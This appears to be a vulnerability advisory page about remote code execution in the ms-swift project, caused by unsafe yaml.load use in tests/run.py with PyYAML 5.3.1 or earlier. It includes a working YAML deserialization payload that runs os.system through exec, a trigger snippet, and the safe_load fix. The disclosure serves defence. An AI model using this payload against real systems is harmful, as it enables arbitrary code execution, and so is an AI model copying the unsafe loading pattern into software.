Loading advisory.
Loading advisory.
MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1).
Published 2025-07-31 14:02 UTC · Modified 2026-07-07 17:57 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score.
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| ms-swift | PyPI | <= 3.6.3 versions 1.0.0, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 2.0.0 and 64 more | No patch yet | No command until a fix exists. |
A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.
If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.
Project: modelscope/ms-swift
Affect versions: latest
File: tests/run.py
GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
Dependency: PyYAML <= 5.3.1
if args.run_config is not None and Path(args.run_config).exists():
with open(args.run_config, encoding='utf-8') as f:
run_config = yaml.load(f, Loader=yaml.FullLoader)exploit.yaml)!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"import yaml
with open("exploit.yaml", "r") as f:
cfg = yaml.load(f, Loader=yaml.FullLoader)This results in execution of os.system, proving code execution.
Replace yaml.load() with yaml.safe_load()
Upgrade PyYAML to version 5.4 or later
# Before
yaml.load(f, Loader=yaml.FullLoader)
# After
yaml.safe_load(f)Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
Contact: [anchor.rongyu020221@gmail.com]
Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.029 on 2026-11-24 to 0.020 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.029 | first score | v2026.06.15 |
| 2026-11-26 | 0.020 | 0.029 | v2026.06.15 |